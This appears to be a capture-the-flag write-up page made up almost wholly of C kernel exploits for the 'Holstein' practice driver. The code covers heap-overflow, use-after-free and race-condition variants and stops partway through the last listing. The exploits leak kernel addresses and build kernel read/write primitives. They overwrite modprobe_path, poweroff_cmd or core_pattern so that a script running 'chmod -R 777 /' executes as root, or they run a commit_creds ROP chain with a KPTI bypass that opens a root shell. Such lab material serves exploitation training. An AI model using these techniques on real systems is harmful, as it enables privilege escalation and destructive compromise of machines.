#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define MODPROB_PATH_OFFSET (0xffffffff81e38180 - KERNEL_BASE)
#define MODPROBE_PATH_ADDR (kernel_base + MODPROB_PATH_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = &amp;#34;/tmp/evil.sh&amp;#34;;
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i &amp;lt; sizeof(kRunEvilCmd); i += 4) {
    AAW32(MODPROBE_PATH_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }

  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
  system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
  system(&amp;#34;/tmp/pwn&amp;#34;);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;452697183&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;452697183&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_poweroff_cmd.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define POWEROFF_CMD_OFFSET (0xffffffff81e379c0 - KERNEL_BASE)
#define POWEROFF_CMD_ADDR (kernel_base + POWEROFF_CMD_OFFSET)
#define ORDERLY_POWEROFF_OFFSET (0xffffffff810750e0 - KERNEL_BASE)
#define ORDERLY_POWEROFF (kernel_base + ORDERLY_POWEROFF_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    printf(&amp;#34;[-] Failed to open &amp;#34; VULN_DEVICE_NAME &amp;#34;\n&amp;#34;);
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = &amp;#34;/tmp/evil.sh&amp;#34;;
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i &amp;lt; sizeof(kRunEvilCmd); i += 4) {
    AAW32(POWEROFF_CMD_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);

  SET_IOCTL_INST_ADDR(ORDERLY_POWEROFF);
  ioctl(modified_tty_fd, 0, 0);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;968312457&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;968312457&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define CORE_PATTERN_OFFSET (0xffffffff81eb0b20 - KERNEL_BASE)
#define CORE_PATTERN_ADDR (kernel_base + CORE_PATTERN_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    printf(&amp;#34;[-] Failed to open &amp;#34; VULN_DEVICE_NAME &amp;#34;\n&amp;#34;);
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = &amp;#34;|/tmp/evil.sh&amp;#34;;
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i &amp;lt; sizeof(kRunEvilCmd); i += 4) {
    AAW32(CORE_PATTERN_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);

  system(&amp;#34;ulimit -c unlimited&amp;#34;);
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;lk01-3-holstein-v3-use-after-free&#34;&gt;LK01-3 (Holstein v3: Use-after-Free)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;739126845&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;739126845&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET (0xffffffff8114fbea - KERNEL_BASE)
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8114078a - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072560 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff810eb7e4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81638e9b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723c0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if PRINT_DEBUG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char *envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE];

  save_state();

  int tmp_fd1 = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd1 &amp;lt; 0) {
    return -1;
  }

  int rop_and_vtable_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (rop_and_vtable_fd &amp;lt; 0) {
    return -1;
  }
  close(tmp_fd1);
  int tmp_tty1 = open(&amp;#34;/dev/ptmx&amp;#34;, O_NOCTTY);
  if (tmp_tty1 &amp;lt; 0) {
    return -1;
  }
  read(rop_and_vtable_fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x08 * 3) - 0xc39c60;
  g_buf_addr = *(uint64_t *)(buf + 0x08 * 7) - 0x38;

#if PRINT_DEBUG == 1
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_XOR_EAX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(rop_and_vtable_fd, buf, sizeof(buf));

  int tmp_fd2 = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd2 &amp;lt; 0) {
    return -1;
  }
  int uaf_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (uaf_fd &amp;lt; 0) {
    return -1;
  }
  close(tmp_fd2);
  int tty_fd = open(&amp;#34;/dev/ptmx&amp;#34;, O_NOCTTY);
  if (tty_fd &amp;lt; 0) {
    return -1;
  }
  read(uaf_fd, buf, sizeof(buf));
  *(uint64_t *)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(uaf_fd, buf, sizeof(buf));

  ioctl(tty_fd, 0x00, g_buf_addr);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;lk01-4-holstein-v4-race-condition&#34;&gt;LK01-4 (Holstein v4: Race Condition)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;814732569&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;814732569&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;bits/syscall.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET \
  (0xffffffff81137da8 - KERNEL_BASE)
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810b13c5 - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072580 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_RBX_RBP_OFFSET (0xffffffff813006fc - KERNEL_BASE)
#define POP_RCX_RBX_RBP (kernel_base + POP_RCX_RBX_RBP_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8165094b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723e0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

pid_t gettid(void) { return syscall(SYS_gettid); }

static int next_fd1 = -1, next_fd2 = -1;
static int vuln_fd1 = -1, vuln_fd2 = -1;
static int race_win = 0;

void find_next_fds() {
  next_fd1 = open(&amp;#34;/tmp&amp;#34;, O_RDONLY);
  next_fd2 = open(&amp;#34;/tmp&amp;#34;, O_RDONLY);
  close(next_fd1);
  close(next_fd2);
}

void* race_vuln_dev(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  while (1) {
    while (!race_win) {
      int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
      if (fd == -1) {
        continue;
      }
      if (fd == next_fd2) {
        race_win = 1;
      }
      if (race_win == 0) {
        close(fd);
      }
    }

    if (write(next_fd1, &amp;#34;A&amp;#34;, 1) != 1 || write(next_fd2, &amp;#34;a&amp;#34;, 1) != 1) {
      close(next_fd1);
      close(next_fd2);
      race_win = 0;
    } else {
      vuln_fd1 = next_fd1;
      vuln_fd2 = next_fd2;
      break;
    }
    usleep(1000);
  }

  return NULL;
}

void* spray_ptmx(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  uint64_t val = 0;
  uint64_t ptmx_spray[800];

  for (int i = 0; i &amp;lt; 800; ++i) {
    usleep(50);
    ptmx_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (ptmx_spray[i] == -1) {
      for (int j = 0; j &amp;lt; i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)-1;
    }

    if (read(vuln_fd2, &amp;amp;val, sizeof(val)) == sizeof(val) &amp;amp;&amp;amp;
        val == 0x100005401) {
      for (int j = 0; j &amp;lt; i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)ptmx_spray[i];
    }
  }

  for (int i = 0; i &amp;lt; 800; ++i) {
    close(ptmx_spray[i]);
  }
  return (void*)-1;
}

int create_overlapped_fd() {
  pthread_t th[2];
  cpu_set_t cpu[2];
  char buf[0x10] = {
      0,
  };

  CPU_ZERO(&amp;amp;cpu[0]);
  CPU_ZERO(&amp;amp;cpu[1]);
  CPU_SET(0, &amp;amp;cpu[0]);
  CPU_SET(1, &amp;amp;cpu[1]);

  find_next_fds();
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] next_fd1: %d, next_fd2: %d\n&amp;#34;, next_fd1, next_fd2);
#endif

  pthread_create(&amp;amp;th[0], NULL, race_vuln_dev, (void*)&amp;amp;cpu[0]);
  pthread_create(&amp;amp;th[1], NULL, race_vuln_dev, (void*)&amp;amp;cpu[1]);
  pthread_join(th[0], NULL);
  pthread_join(th[1], NULL);

#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] vuln_fd1: %d, vuln_fd2: %d\n&amp;#34;, vuln_fd1, vuln_fd2);
#endif

  const char* kTestString = &amp;#34;Hello,Uniguri&amp;#34;;
  const size_t kTestStringLen = strlen(kTestString);
  int t = write(next_fd1, kTestString, kTestStringLen);
  t &amp;amp;= read(next_fd2, buf, kTestStringLen);
  if (t != kTestStringLen || strcmp(buf, kTestString)) {
    fatal(&amp;#34;Race fail&amp;#34;);
  }
#if PRINT_DEBUG == 1
  puts(&amp;#34;[+] race success&amp;#34;);
#endif
  memset(buf, 0, sizeof(buf));
  write(vuln_fd1, buf, sizeof(buf));

  close(vuln_fd1);
  usleep(2000);

  int loop_cnt = 0;
  int overlapped_ptmx_fd = (int)(uint64_t)spray_ptmx((void*)&amp;amp;cpu[0]);
  while (overlapped_ptmx_fd == -1 &amp;amp;&amp;amp; loop_cnt++ &amp;lt; 100) {
#if PRINT_DEBUG == 1
    puts(&amp;#34;[*] Spraying ptmx on another CPU&amp;#34;);
#endif
    pthread_create(&amp;amp;th[0], NULL, spray_ptmx, (void*)&amp;amp;cpu[1]);
